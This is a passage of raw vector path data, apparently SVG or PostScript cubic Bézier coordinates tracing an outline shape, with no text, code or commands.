55335.00 175833.00 55335.00C175811.67 55345.67 175790.33 55356.33 175769.00 55367.00C175769.00 55345.67 175769.00 55324.33 175769.00 55303.00C175779.67 55271.00 175790.33 55239.00 175801.00 55207.00C175801.00 55164.00 175801.00 55121.00 175801.00 55078.00C175843.67 55035.34 175886.33 54992.66 175929.00 54950.00C175961.33 54939.00 175993.67 54928.00 176026.00 54917.00C176058.00 54852.67 176090.00 54788.33 176122.00 54724.00C176143.67 54702.67 176165.33 54681.33 176187.00 54660.00C176187.00 54638.67 176187.00 54617.33 176187.00 54596.00C176197.67 54585.34 176208.33 54574.66 176219.00 54564.00C176219.00 54553.00 176219.00 54542.00 176219.00 54531.00C176272.71 54498.98 176326.41 54466.94 176380.13 54434.93C176401.42 54424.30 176422.71 54413.64 176444.00 54403.00C176465.33 54360.00 176486.67 54317.00 176508.00 54274.00C176529.67 54274.00 176551.33 54274.00 176573.00 54274.00C176594.33 54263.33 176615.67 54252.67 176637.00 54242.00C176647.67 54220.67 176658.33 54199.33 176669.00 54178.00C176679.67 54167.34 176690.33 54156.66 176701.00 54146.00C176711.67 54092.33 176722.33 54038.67 176733.00 53985.00C176733.00 53963.67 176733.00 53942.33 176733.00 53921.00C176765.33 53878.00 176797.67 53835.00 176830.00 53792.00C176840.67 53770.67 176851.33 53749.33 176862.00 53728.00C176851.33 53695.67 176840.67 53663.33 176830.00 53631.00C176840.67 53620.34 176851.33 53609.66 176862.00 53599.00C176862.00 53588.33 176862.00 53577.67 176862.00 53567.00C176872.67 53534.67 176883.33 53502.33 176894.00 53470.00C176915.33 53459.33 176936.67 53448.67 176958.00 53438.00C177001.00 53406.00 177044.00 53374.00 177087.00 53342.00C177110.13 53318.77 177133.46 53295.75 177156.45 53272.39C177165.29 53263.25 177174.15 53254.13 177183.00 53245.00C177194.00 53245.00 177205.00 53245.00 177216.00 53245.00C177216.00 53234.33 177216.00 53223.67 177216.00 53213.00C177205.00 53191.67 177194.00 53170.33 177183.00 53149.00C177183.00 53127.67 177183.00 53106.33 177183.00 53085.00C177194.00 53052.67 177205.00 53020.33 177216.00 52988.00C177216.00 52966.67 177216.00 52945.33 177216.00 52924.00C177205.00 52913.33 177194.00 52902.67 177183.00 52892.00C177183.00 52870.33 177183.00 52848.67 177183.00 52827.00C177204.67 52795.00 177226.33 52763.00 177248.00 52731.00C177258.67 52645.33 177269.33 52559.67 177280.00 52474.00C177333.67 52420.34 177387.33 52366.66 177441.00 52313.00C177451.67 52270.00 177462.33 52227.00 177473.00 52184.00C177494.33 52162.66 177515.67 52141.34 177537.00 52120.00C177590.67 52098.67 177644.33 52077.33 177698.00 52056.00C177730.00 51970.00 177762.00 51884.00 177794.00 51798.00C177804.67 51744.67 177815.33 51691.33 177826.00 51638.00C177847.67 51573.67 177869.33 51509.33 177891.00 51445.00C178159.25 51380.56 178427.54 51316.30 178695.75 51251.75C178727.55 51241.16 178759.34 51230.53 178791.14 51219.97C178989.40 51177.32 179187.58 51134.28 179385.93 51092.08C179487.62 51070.39 179589.31 51048.69 179691.00 51027.00C179702.00 51016.33 179713.00 51005.67 179724.00 50995.00C179734.72 51016.42 179745.39 51037.85 179756.15 51059.25C179788.09 51112.84 179820.05 51166.42 179852.00 51220.00C179916.33 51284.34 179980.67 51348.66 180045.00 51413.00C180077.00 51434.33 180109.00 51455.67 180141.00 51477.00C180152.00 51477.00 180163.00 51477.00 180174.00 51477.00C180206.00 51487.67 180238.00 51498.33 180270.00 51509.00C180307.05 51490.45 180344.10 51471.90 180381.32 51453.70C180387.21 51450.80 180393.11 51447.90 180399.00 51445.00C180420.33 51445.00 180441.67 51445.00 180463.00 51445.00C180523.61 51475.42 180584.41 51505.47 180645.15 51535.63C180670.12 51548.05 180695.06 51560.52 180720.00 51573.00C180757.55 51554.53 180795.11 51536.08 180832.48 51517.26C180859.32 51503.83 180886.16 51490.42 180913.00 51477.00C180956.00 51477.00 180999.00 51477.00 181042.00 51477.00C181063.33 51455.66 181084.67 51434.34 181106.00 51413.00C181170.33 51455.67 181234.67 51498.33 181299.00 51541.00C181331.33 51551.67 181363.67 51562.33 181396.00 51573.00C181428.00 51573.00 181460.00 51573.00 181492.00 51573.00C181524.00 51605.33 181556.00 51637.67 181588.00 51670.00C181620.33 51712.67 181652.67 51755.33 181685.00 51798.00C181749.33 51862.34 181813.67 51926.66 181878.00 51991.00C181931.67 52012.67 181985.33 52034.33 182039.00 52056.00C182071.00 52077.33 182103.00 52098.67 182135.00 52120.00C182156.33 52109.33 182177.67 52098.67 182199.00 52088.00C182188.33 52098.66 182177.67 52109.34 182167.00 52120.00C182188.67 52141.33 182210.33 52162.67 182232.00 52184.00C182253.33 52162.66 182274.67 52141.34 182296.00 52120.00C182306.67 52120.00 182317.33 52120.00 182328.00 52120.00C182328.00 52152.00 182328.00 52184.00 182328.00 52216.00C182349.33 52227.00 182370.67 52238.00 182392.00 52249.00C182424.33 52238.00 182456.67 52227.00 182489.00 52216.00C182553.33 52227.00 182617.67 52238.00 182682.00 52249.00C182692.67 52227.33 182703.33 52205.67 182714.00 52184.00C182735.33 52194.67 182756.67 52205.33 182778.00 52216.00C182788.67 52205.34 182799.33 52194.66 182810.00 52184.00C182831.67 52184.00 182853.33 52184.00 182875.00 52184.00C182917.67 52194.67 182960.33 52205.33 183003.00 52216.00C183013.67 52205.34 183024.33 52194.66 183035.00 52184.00C183078.00 52184.00 183121.00 52184.00 183164.00 52184.00C183196.00 52162.67 183228.00 52141.33 183260.00 52120.00C183292.38 52120.01 183324.76 52119.97 183357.14 52120.02C183432.55 52130.80 183508.00 52141.37 183583.40 52152.28C183636.60 52162.85 183689.80 52173.43 183743.00 52184.00C183796.33 52205.67 183849.67 52227.33 183903.00 52249.00C183935.33 52249.00 183967.67 52249.00 184000.00 52249.00C184010.67 52238.00 184021.33 52227.00 184032.00 52216.00C184053.38 52227.01 184074.74 52238.07 184096.14 52249.04C184128.43 52259.69 184160.71 52270.35 184193.00 52281.00C184193.00 52291.67 184193.00 52302.33 184193.00 52313.00C184225.00 52291.67 184257.00 52270.33 184289.00 52249.00C184310.67 52249.00 184332.33 52249.00 184354.00 52249.00C184407.33 52259.67 184460.67 52270.33 184514.00 52281.00C184653.33 52281.00 184792.67 52281.00 184932.00 52281.00C184975.00 52270.33 185018.00 52259.67 185061.00 52249.00C185104.04 52227.30 185147.10 52205.65 185190.12 52183.92C185222.08 52162.61 185254.04 52141.31 185286.00 52120.00C185318.33 52120.00 185350.67 52120.00 185383.00 52120.00C185415.00 52098.67 185447.00 52077.33 185479.00 52056.00C185522.00 52056.00 185565.00 52056.00 185608.00 52056.00C185618.67 52045.00 185629.33 52034.00 185640.00 52023.00C185725.67 52023.00 185811.33 52023.00 185897.00 52023.00C185961.33 52044.67 186025.67 52066.33 186090.00 52088.00C186132.67 52109.33 186175.33 52130.67 186218.00 52152.00C186261.00 52152.00 186304.00 52152.00 186347.00 52152.00C186390.00 52162.67 186433.00 52173.33 186476.00 52184.00C186518.67 52173.33 186561.33 52162.67 186604.00 52152.00C186614.67 52162.66 186625.33 52173.34 186636.00 52184.00C186647.00 52184.00 186658.00 52184.00 186669.00 52184.00C186700.79 52199.94 186732.71 52215.64 186764.23 52232.11C186775.16 52237.74 186786.08 52243.37 186797.00 52249.00C186861.33 52259.67 186925.67 52270.33 186990.00 52281.00C187000.67 52291.66 187011.33 52302.34 187022.00 52313.00C187043.67 52313.00 187065.33 52313.00 187087.00 52313.00C187172.67 52334.33 187258.33 52355.67 187344.00 52377.00C187354.67 52387.66 187365.33 52398.34 187376.00 52409.00C187386.67 52398.34 187397.33 52387.66 187408.00 52377.00C187429.33 52377.00 187450.67 52377.00 187472.00 52377.00C187472.00 52366.33 187472.00 52355.67 187472.00 52345.00C187547.33 52388.00 187622.67 52431.00 187698.00 52474.00C187751.33 52484.67 187804.67 52495.33 187858.00 52506.00C187901.00 52527.33 187944.00 52548.67 187987.00 52570.00C188019.00 52570.00 188051.00 52570.00 188083.00 52570.00C188115.33 52613.00 188147.67 52656.00 188180.00 52699.00C188190.67 52720.33 188201.33 52741.67 188212.00 52763.00C188233.33 52773.67 188254.67 52784.33 188276.00 52795.00C188319.00 52827.33 188362.00 52859.67 188405.00 52892.00C188448.00 52945.33 188491.00 52998.67 188534.00 53052.00C188544.67 53073.67 188555.33 53095.33 188566.00 53117.00C188576.67 53127.66 188587.33 53138.34 188598.00 53149.00C188608.67 53181.05 188619.38 53213.08 188630.03 53245.14C188651.36 53331.09 188672.68 53417.05 188694.00 53503.00C188704.67 53524.33 188715.33 53545.67 188726.00 53567.00C188747.67 53588.33 188769.33 53609.67 188791.00 53631.00C188812.33 53641.67 188833.67 53652.33 188855.00 53663.00C188876.33 53684.67 188897.67 53706.33 188919.00 53728.00C188919.00 53749.33 188919.00 53770.67 188919.00 53792.00C188940.67 53824.00 188962.33 53856.00 188984.00 53888.00C188994.67 53888.00 189005.33 53888.00 189016.00 53888.00C189016.00 53941.67 189016.00 53995.33 189016.00 54049.00C189040.66 54073.52 189065.09 54098.27 189089.44 54123.10C189107.51 54141.51 189125.72 54159.79 189144.00 54178.00C189144.00 54167.33 189144.00 54156.67 189144.00 54146.00C189144.00 54178.00 189144.00 54210.00 189144.00 54242.00C189155.00 54263.33 189166.00 54284.67 189177.00 54306.00C189177.00 54317.00 189177.00 54328.00 189177.00 54339.00C189187.67 54349.66 189198.33 54360.34 189209.00 54371.00C189209.00 54403.00 189209.00 54435.00 189209.00 54467.00C189219.68 54488.38 189230.40 54509.74 189241.05 54531.14C189251.70 54563.42 189262.35 54595.71 189273.00 54628.00C189283.67 54628.00 189294.33 54628.00 189305.00 54628.00C189305.00 54681.67 189305.00 54735.33 189305.00 54789.00C189315.67 54821.00 189326.33 54853.00 189337.00 54885.00C189347.67 54885.00 189358.33 54885.00 189369.00 54885.00C189369.00 54960.00 189369.00 55035.00 189369.00 55110.00C189380.00 55131.67 189391.00 55153.33 189402.00 55175.00C189423.33 55175.00 189444.67 55175.00 189466.00 55175.00C189465.99 55185.71 189466.03 55196.43 189465.98 55207.14C189455.32 55282.10 189444.66 55357.05 189434.00 55432.00C189434.00 55453.33 189434.00 55474.67 189434.00 55496.00C189444.67 55506.66 189455.33 55517.34 189466.00 55528.00C189466.00 55560.33 189466.00 55592.67 189466.00 55625.00C189476.67 55646.33 189487.33 55667.67 189498.00 55689.00C189508.67 55689.00 189519.33 55689.00 189530.00 55689.00C189530.00 55807.00 189530.00 55925.00 189530.00 56043.00C189540.67 56064.33 189551.33 56085.67 189562.00 56107.00C189573.00 56117.67 189584.00 56128.33 189595.00 56139.00C189605.67 56128.34 189616.33 56117.66 189627.00 56107.00C189637.67 56107.00 189648.33 56107.00 189659.00 56107.00C189659.00 56203.33 189659.00 56299.67 189659.00 56396.00C189669.67 56439.00 189680.33 56482.00 189691.00 56525.00C189723.33 56525.00 189755.67 56525.00 189788.00 56525.00C189798.67 56557.00 189809.33 56589.00 189820.00 56621.00C189830.67 56621.00 189841.33 56621.00 189852.00 56621.00C189852.00 56632.00 189852.00 56643.00 189852.00 56654.00C189862.67 56675.33 189873.33 56696.67 189884.00 56718.00C189873.33 56761.00 189862.67 56804.00 189852.00 56847.00C189862.67 56879.00 189873.33 56911.00 189884.00 56943.00C189884.00 56953.67 189884.00 56964.33 189884.00 56975.00C189894.67 56975.00 189905.33 56975.00 189916.00 56975.00C189916.00 57103.67 189916.00 57232.33 189916.00 57361.00C189926.67 57436.00 189937.33 57511.00 189948.00 57586.00C189948.00 57575.33 189948.00 57564.67 189948.00 57554.00C189958.67 57564.66 189969.33 57575.34 189980.00 57586.00C189980.00 57596.67 189980.00 57607.33 189980.00 57618.00C189991.03 57650.37 190002.01 57682.76 190013.06 57715.13C190023.71 57736.42 190034.35 57757.71 190045.00 57779.00C190055.67 57779.00 190066.33 57779.00 190077.00 57779.00C190087.67 57789.66 190098.33 57800.34 190109.00 57811.00C190141.00 57811.00 190173.00 57811.00 190205.00 57811.00C190205.02 57821.76 190204.95 57832.53 190205.04 57843.29C190216.00 57929.19 190227.01 58015.10 190238.00 58101.00C190238.00 58133.00 190238.00 58165.00 190238.00 58197.00C190227.00 58207.67 190216.00 58218.33 190205.00 58229.00C190216.12 58272.29 190227.07 58315.62 190238.29 58358.88C190248.87 58390.59 190259.43 58422.29 190270.00 58454.00C190280.67 58464.66 190291.33 58475.34 190302.00 58486.00C190334.00 58486.00 190366.00 58486.00 190398.00 58486.00C190409.00 58496.67 190420.00 58507.33 190431.00 58518.00C190441.69 58561.04 190452.34 58604.10 190463.05 58647.14C190484.36 58711.43 190505.68 58775.71 190527.00 58840.00C190527.00 58915.00 190527.00 58990.00 190527.00 59065.00C190516.33 59075.66 190505.67 59086.34 190495.00 59097.00C190473.62 59107.68 190452.26 59118.40 190430.86 59129.05C190398.57 59140.03 190366.29 59151.02 190334.00 59162.00C190312.67 59162.00 190291.33 59162.00 190270.00 59162.00C190248.33 59183.33 190226.67 59204.67 190205.00 59226.00C190173.00 59236.67 190141.00 59247.33 190109.00 59258.00C190098.33 59258.00 190087.67 59258.00 190077.00 59258.00C190034.00 59215.00 189991.00 59172.00 189948.00 59129.00C189937.33 59129.00 189926.67 59129.00 189916.00 59129.00C189905.33 59140.00 189894.67 59151.00 189884.00 59162.00C189873.33 59162.00 189862.67 59162.00 189852.00 59162.00C189841.33 59204.67 189830.67 59247.33 189820.00 59290.00C189798.33 59290.00 189776.67 59290.00 189755.00 59290.00C189733.67 59322.33 189712.33 59354.67 189691.00 59387.00C189680.33 59387.00 189669.67 59387.00 189659.00 59387.00C189637.67 59397.67 189616.33 59408.33 189595.00 59419.00C189552.00 59408.33 189509.00 59397.67 189466.00 59387.00C189455.33 59387.00 189444.67 59387.00 189434.00 59387.00C189423.26 59365.03 189412.25 59343.18 189401.69 59321.12C189390.80 59289.41 189379.90 59257.71 189369.00 59226.00C189358.33 59226.00 189347.67 59226.00 189337.00 59226.00C189326.33 59247.33 189315.67 59268.67 189305.00 59290.00C189262.33 59290.00 189219.67 59290.00 189177.00 59290.00C189144.67 59311.34 189112.33 59332.66 189080.00 59354.00C188994.33 59354.00 188908.67 59354.00 188823.00 59354.00C188801.67 59343.33 188780.33 59332.67 188759.00 59322.00C188726.67 59279.33 188694.33 59236.67 188662.00 59194.00C188640.63 59183.30 188619.24 59172.65 188597.88 59161.92C188565.59 59140.28 188533.29 59118.64 188501.00 59097.00C188490.33 59097.00 188479.67 59097.00 188469.00 59097.00C188437.00 59086.33 188405.00 59075.67 188373.00 59065.00C188351.33 59065.00 188329.67 59065.00 188308.00 59065.00C188308.00 59054.33 188308.00 59043.67 188308.00 59033.00C188297.33 59043.66 188286.67 59054.34 188276.00 59065.00C188254.67 59054.33 188233.33 59043.67 188212.00 59033.00C188201.33 59033.00 188190.67 59033.00 188180.00 59033.00C188169.33 59043.66 188158.67 59054.34 188148.00 59065.00C188126.33 59065.00 188104.67 59065.00 188083.00 59065.00C188072.33 59054.34 188061.67 59043.66 188051.00 59033.00C188051.00 59043.67 188051.00 59054.33 188051.00 59065.00C188040.33 59054.34 188029.67 59043.66 188019.00 59033.00C187987.00 59033.00 187955.00 59033.00 187923.00 59033.00C187912.00 59022.33 187901.00 59011.67 187890.00 59001.00C187890.00 59011.67 187890.00 59022.33 187890.00 59033.00C187858.00 59033.00 187826.00 59033.00 187794.00 59033.00C187783.33 59054.33 187772.67 59075.67 187762.00 59097.00C187751.33 59097.00 187740.67 59097.00 187730.00 59097.00C187730.00 59086.33 187730.00 59075.67 187730.00 59065.00C187697.67 59065.00 187665.33 59065.00 187633.00 59065.00C187622.33 59054.34 187611.67 59043.66 187601.00 59033.00C187601.00 59022.33 187601.00 59011.67 187601.00 59001.00C187579.67 58979.66 187558.33 58958.34 187537.00 58937.00C187504.67 58937.00 187472.33 58937.00 187440.00 58937.00C187418.62 58925.99 187397.26 58914.93 187375.86 58903.95C187343.91 58893.30 187311.95 58882.65 187280.00 58872.00C187269.00 58872.00 187258.00 58872.00 187247.00 58872.00C187247.00 58882.67 187247.00 58893.33 187247.00 58904.00C187236.33 58904.00 187225.67 58904.00 187215.00 58904.00C187193.67 58893.33 187172.33 58882.67 187151.00 58872.00C187108.00 58915.00 187065.00 58958.00 187022.00 59001.00C187000.62 59001.01 186979.24 59000.97 186957.86 59001.02C186882.91 59011.68 186807.95 59022.34 186733.00 59033.00C186722.33 59043.66 186711.67 59054.34 186701.00 59065.00C186582.95 59065.01 186464.91 59064.99 186346.86 59065.01C186207.57 59075.67 186068.29 59086.34 185929.00 59097.00C185897.00 59086.33 185865.00 59075.67 185833.00 59065.00C185811.33 59065.00 185789.67 59065.00 185768.00 59065.00C185725.33 59054.33 185682.67 59043.67 185640.00 59033.00C185629.33 59022.34 185618.67 59011.66 185608.00 59001.00C185608.00 58968.67 185608.00 58936.33 185608.00 58904.00C185565.00 58893.33 185522.00 58882.67 185479.00 58872.00C185457.67 58850.66 185436.33 58829.34 185415.00 58808.00C185393.33 58765.00 185371.67 58722.00 185350.00 58679.00C185350.00 58689.67 185350.00 58700.33 185350.00 58711.00C185339.33 58711.00 185328.67 58711.00 185318.00 58711.00C185318.00 58700.33 185318.00 58689.67 185318.00 58679.00C185307.33 58679.00 185296.67 58679.00 185286.00 58679.00C185275.33 58689.66 185264.67 58700.34 185254.00 58711.00C185232.67 58722.00 185211.33 58733.00 185190.00 58744.00C185179.00 58744.00 185168.00 58744.00 185157.00 58744.00C185146.33 58754.66 185135.67 58765.34 185125.00 58776.00C185071.67 58776.00 185018.33 58776.00 184965.00 58776.00C184922.00 58786.67 184879.00 58797.33 184836.00 58808.00C184761.00 58808.00 184686.00 58808.00 184611.00 58808.00C184568.00 58818.67 184525.00 58829.33 184482.00 58840.00C184471.33 58786.33 184460.67 58732.67 184450.00 58679.00C184428.62 58668.32 184407.26 58657.60 184385.86 58646.96C184353.57 58636.31 184321.29 58625.65 184289.00 58615.00C184278.33 58615.00 184267.67 58615.00 184257.00 58615.00C184257.00 58572.00 184257.00 58529.00 184257.00 58486.00C184278.33 58454.00 184299.67 58422.00 184321.00 58390.00C184321.00 58325.67 184321.00 58261.33 184321.00 58197.00C184289.30 58165.25 184257.44 58133.66 184226.07 58101.59C184215.05 58090.39 184204.02 58079.20 184193.00 58068.00C184139.33 58100.33 184085.67 58132.67 184032.00 58165.00C184000.00 58175.67 183968.00 58186.33 183936.00 58197.00C183882.33 58175.67 183828.67 58154.33 183775.00 58133.00C183721.33 58240.00 183667.67 58347.00 183614.00 58454.00C183571.00 58454.00 183528.00 58454.00 183485.00 58454.00C183421.00 58443.33 183357.00 58432.67 183293.00 58422.00C183282.00 58475.67 183271.00 58529.33 183260.00 58583.00C183260.00 58604.33 183260.00 58625.67 183260.00 58647.00C183227.98 58700.71 183195.94 58754.41 183163.94 58808.13C183153.29 58829.42 183142.65 58850.71 183132.00 58872.00C183132.00 58893.67 183132.00 58915.33 183132.00 58937.00C183142.67 58969.00 183153.33 59001.00 183164.00 59033.00C183164.00 59065.00 183164.00 59097.00 183164.00 59129.00C183174.67 59129.00 183185.33 59129.00 183196.00 59129.00C183228.38 59150.68 183260.73 59172.41 183293.13 59194.07C183314.42 59204.70 183335.71 59215.36 183357.00 59226.00C183367.67 59258.00 183378.33 59290.00 183389.00 59322.00C183399.67 59332.66 183410.33 59343.34 183421.00 59354.00C183442.33 59365.00 183463.67 59376.00 183485.00 59387.00C183496.00 59387.00 183507.00 59387.00 183518.00 59387.00C183528.67 59397.66 183539.33 59408.34 183550.00 59419.00C183550.00 59483.33 183550.00 59547.67 183550.00 59612.00C183560.67 59654.67 183571.33 59697.33 183582.00 59740.00C183582.00 59750.67 183582.00 59761.33 183582.00 59772.00C183560.67 59761.33 183539.33 59750.67 183518.00 59740.00C183507.00 59750.67 183496.00 59761.33 183485.00 59772.00C183463.67 59740.00 183442.33 59708.00 183421.00 59676.00C183367.33 59654.67 183313.67 59633.33 183260.00 59612.00C183249.33 59601.34 183238.67 59590.66 183228.00 59580.00C183206.67 59590.67 183185.33 59601.33 183164.00 59612.00C183174.67 59633.33 183185.33 59654.67 183196.00 59676.00C183164.00 59740.33 183132.00 59804.67 183100.00 59869.00C183089.33 59944.00 183078.67 60019.00 183068.00 60094.00C183046.33 60115.33 183024.67 60136.67 183003.00 60158.00C183024.67 60190.33 183046.33 60222.67 183068.00 60255.00C183089.33 60265.67 183110.67 60276.33 183132.00 60287.00C183142.67 60287.00 183153.33 60287.00 183164.00 60287.00C183164.00 60297.67 183164.00 60308.33 183164.00 60319.00C183174.67 60319.00 183185.33 60319.00 183196.00 60319.00C183217.33 60340.34 183238.67 60361.66 183260.00 60383.00C183271.00 60415.33 183282.00 60447.67 183293.00 60480.00C183282.00 60544.33 183271.00 60608.67 183260.00 60673.00C183249.33 60683.66 183238.67 60694.34 183228.00 60705.00C183196.00 60715.67 183164.00 60726.33 183132.00 60737.00C183110.67 60758.34 183089.33 60779.66 183068.00 60801.00C183046.33 60801.00 183024.67 60801.00 183003.00 60801.00C182985.53 60819.03 182968.12 60837.13 182950.24 60854.76C182946.49 60858.51 182942.75 60862.25 182939.00 60866.00C182949.67 60887.33 182960.33 60908.67 182971.00 60930.00C182971.00 60940.67 182971.00 60951.33 182971.00 60962.00C182906.67 61058.33 182842.33 61154.67 182778.00 61251.00C182735.00 61251.00 182692.00 61251.00 182649.00 61251.00C182617.00 61240.33 182585.00 61229.67 182553.00 61219.00C182499.33 61219.00 182445.67 61219.00 182392.00 61219.00C182360.00 61305.00 182328.00 61391.00 182296.00 61477.00C182285.33 61477.00 182274.67 61477.00 182264.00 61477.00C182221.00 61455.33 182178.00 61433.67 182135.00 61412.00C182103.00 61358.33 182071.00 61304.67 182039.00 61251.00C182049.67 61219.00 182060.33 61187.00 182071.00 61155.00C182071.00 61133.67 182071.00 61112.33 182071.00 61091.00C182092.33 61058.67 182113.67 61026.33 182135.00 60994.00C182156.33 60919.00 182177.67 60844.00 182199.00 60769.00C182134.67 60779.67 182070.33 60790.33 182006.00 60801.00C182006.00 60715.33 182006.00 60629.67 182006.00 60544.00C181899.00 60447.67 181792.00 60351.33 181685.00 60255.00C181577.67 60297.67 181470.33 60340.33 181363.00 60383.00C181352.33 60383.00 181341.67 60383.00 181331.00 60383.00C181288.33 60404.67 181245.67 60426.33 181203.00 60448.00C181170.67 60480.00 181138.33 60512.00 181106.00 60544.00C181106.00 60533.33 181106.00 60522.67 181106.00 60512.00C181116.67 60501.34 181127.33 60490.66 181138.00 60480.00C181116.67 60480.00 181095.33 60480.00 181074.00 60480.00C181074.00 60469.33 181074.00 60458.67 181074.00 60448.00C181063.33 60426.33 181052.67 60404.67 181042.00 60383.00C181042.00 60361.67 181042.00 60340.33 181042.00 60319.00C181031.33 60287.00 181020.67 60255.00 181010.00 60223.00C180999.00 60201.33 180988.00 60179.67 180977.00 60158.00C180955.67 60158.00 180934.33 60158.00 180913.00 60158.00C180859.33 60201.00 180805.67 60244.00 180752.00 60287.00C180741.33 60297.66 180730.67 60308.34 180720.00 60319.00C180687.96 60329.69 180655.90 60340.34 180623.87 60351.07C180602.58 60361.70 180581.29 60372.36 180560.00 60383.00C180484.67 60404.67 180409.33 60426.33 180334.00 60448.00C180323.33 60448.00 180312.67 60448.00 180302.00 60448.00C180270.00 60490.67 180238.00 60533.33 180206.00 60576.00C180141.67 60619.00 180077.33 60662.00 180013.00 60705.00C179948.67 60705.00 179884.33 60705.00 179820.00 60705.00C179788.00 60683.67 179756.00 60662.33 179724.00 60641.00C179724.00 60619.33 179724.00 60597.67 179724.00 60576.00C179713.00 60565.33 179702.00 60554.67 179691.00 60544.00C179691.00 60533.33 179691.00 60522.67 179691.00 60512.00C179669.67 60490.66 179648.33 60469.34 179627.00 60448.00C179637.67 60426.33 179648.33 60404.67 179659.00 60383.00C179659.00 60340.33 179659.00 60297.67 179659.00 60255.00C179637.67 60244.33 179616.33 60233.67 179595.00 60223.00C179573.67 60201.33 179552.33 60179.67 179531.00 60158.00C179541.67 60136.67 179552.33 60115.33 179563.00 60094.00C179520.00 60083.33 179477.00 60072.67 179434.00 60062.00C179391.33 60083.33 179348.67 60104.67 179306.00 60126.00C179220.00 60115.33 179134.00 60104.67 179048.00 60094.00C179026.62 60094.02 179005.24 60093.97 178983.86 60094.03C178865.91 60115.35 178747.95 60136.67 178630.00 60158.00C178651.67 60104.67 178673.33 60051.33 178695.00 59998.00C178684.00 59987.00 178673.00 59976.00 178662.00 59965.00C178673.00 59943.67 178684.00 59922.33 178695.00 59901.00C178684.00 59879.67 178673.00 59858.33 178662.00 59837.00C178662.00 59772.67 178662.00 59708.33 178662.00 59644.00C178651.33 59644.00 178640.67 59644.00 178630.00 59644.00C178630.00 59622.67 178630.00 59601.33 178630.00 59580.00C178640.67 59537.00 178651.33 59494.00 178662.00 59451.00C178651.33 59440.34 178640.67 59429.66 178630.00 59419.00C178630.00 59408.33 178630.00 59397.67 178630.00 59387.00C178651.67 59354.67 178673.33 59322.33 178695.00 59290.00C178780.67 59290.00 178866.33 59290.00 178952.00 59290.00C178984.00 59258.00 179016.00 59226.00 179048.00 59194.00C179058.67 59097.33 179069.33 59000.67 179080.00 58904.00C179091.00 58872.00 179102.00 58840.00 179113.00 58808.00C179102.00 58797.33 179091.00 58786.67 179080.00 58776.00C179069.33 58754.33 179058.67 58732.67 179048.00 58711.00C179048.00 58689.67 179048.00 58668.33 179048.00 58647.00C179058.67 58636.34 179069.33 58625.66 179080.00 58615.00C179080.00 58593.67 179080.00 58572.33 179080.00 58551.00C179101.67 58529.34 179123.33 58507.66 179145.00 58486.00C179145.00 58443.33 179145.00 58400.67 179145.00 58358.00C179155.67 58325.67 179166.33 58293.33 179177.00 58261.00C179187.67 58261.00 179198.33 58261.00 179209.00 58261.00C179252.00 58239.67 179295.00 58218.33 179338.00 58197.00C179348.67 58186.34 179359.33 58175.66 179370.00 58165.00C179380.67 58132.67 179391.33 58100.33 179402.00 58068.00C179423.33 58057.33 179444.67 58046.67 179466.00 58036.00C179498.33 58046.67 179530.67 58057.33 179563.00 58068.00C179584.33 58068.00 179605.67 58068.00 179627.00 58068.00C179627.00 58014.67 179627.00 57961.33 179627.00 57908.00C179680.67 57854.34 179734.33 57800.66 179788.00 57747.00C179798.67 57747.00 179809.33 57747.00 179820.00 57747.00C179830.67 57736.34 179841.33 57725.66 179852.00 57715.00C179884.37 57703.97 179916.77 57693.00 179949.13 57681.93C179970.42 57671.30 179991.71 57660.64 180013.00 57650.00C180013.00 57628.67 180013.00 57607.33 180013.00 57586.00C180045.00 57575.33 180077.00 57564.67 180109.00 57554.00C180119.67 57543.34 180130.33 57532.66 180141.00 57522.00C180152.00 57489.67 180163.00 57457.33 180174.00 57425.00C180163.00 57425.00 180152.00 57425.00 180141.00 57425.00C180119.67 57414.33 180098.33 57403.67 180077.00 57393.00C180098.33 57339.33 180119.67 57285.67 180141.00 57232.00C180130.33 57210.67 180119.67 57189.33 180109.00 57168.00C180109.00 57146.67 180109.00 57125.33 180109.00 57104.00C180098.33 57050.33 180087.67 56996.67 180077.00 56943.00C180087.67 56932.34 180098.33 56921.66 180109.00 56911.00C180077.00 56911.00 180045.00 56911.00 180013.00 56911.00C179991.67 56900.33 179970.33 56889.67 179949.00 56879.00C179916.67 56889.67 179884.33 56900.33 179852.00 56911.00C179841.33 56889.67 179830.67 56868.33 179820.00 56847.00C179798.67 56836.00 179777.33 56825.00 179756.00 56814.00C179745.33 56814.00 179734.67 56814.00 179724.00 56814.00C179713.00 56825.00 179702.00 56836.00 179691.00 56847.00C179669.67 56889.67 179648.33 56932.33 179627.00 56975.00C179605.67 56975.00 179584.33 56975.00 179563.00 56975.00C179541.33 56964.33 179519.67 56953.67 179498.00 56943.00C179487.33 56953.66 179476.67 56964.34 179466.00 56975.00C179423.33 56985.67 179380.67 56996.33 179338.00 57007.00C179305.67 57039.34 179273.33 57071.66 179241.00 57104.00C179198.33 57104.00 179155.67 57104.00 179113.00 57104.00C179091.33 57146.67 179069.67 57189.33 179048.00 57232.00C178962.33 57232.00 178876.67 57232.00 178791.00 57232.00C178780.33 57243.00 178769.67 57254.00 178759.00 57265.00C178759.00 57307.67 178759.00 57350.33 178759.00 57393.00C178716.00 57403.67 178673.00 57414.33 178630.00 57425.00C178619.33 57414.34 178608.67 57403.66 178598.00 57393.00C178576.67 57393.00 178555.33 57393.00 178534.00 57393.00C178534.00 57403.67 178534.00 57414.33 178534.00 57425.00C178480.33 57425.00 178426.67 57425.00 178373.00 57425.00C178373.00 57446.67 178373.00 57468.33 178373.00 57490.00C178341.00 57490.00 178309.00 57490.00 178277.00 57490.00C178255.33 57479.00 178233.67 57468.00 178212.00 57457.00C178190.67 57468.00 178169.33 57479.00 178148.00 57490.00C178126.67 57511.34 178105.33 57532.66 178084.00 57554.00C178019.67 57554.00 177955.33 57554.00 177891.00 57554.00C177880.33 57575.33 177869.67 57596.67 177859.00 57618.00C177805.33 57618.00 177751.67 57618.00 177698.00 57618.00C177665.67 57607.33 177633.33 57596.67 177601.00 57586.00C177590.33 57575.34 177579.67 57564.66 177569.00 57554.00C177558.33 57554.00 177547.67 57554.00 177537.00 57554.00C177483.33 57586.00 177429.67 57618.00 177376.00 57650.00C177365.33 57660.66 177354.67 57671.34 177344.00 57682.00C177344.00 57703.67 177344.00 57725.33 177344.00 57747.00C177333.33 57747.00 177322.67 57747.00 177312.00 57747.00C177290.67 57768.34 177269.33 57789.66 177248.00 57811.00C177269.33 57821.67 177290.67 57832.33 177312.00 57843.00C177290.67 57853.67 177269.33 57864.33 177248.00 57875.00C177269.33 57896.67 177290.67 57918.33 177312.00 57940.00C177301.33 57950.66 177290.67 57961.34 177280.00 57972.00C177280.00 57993.33 177280.00 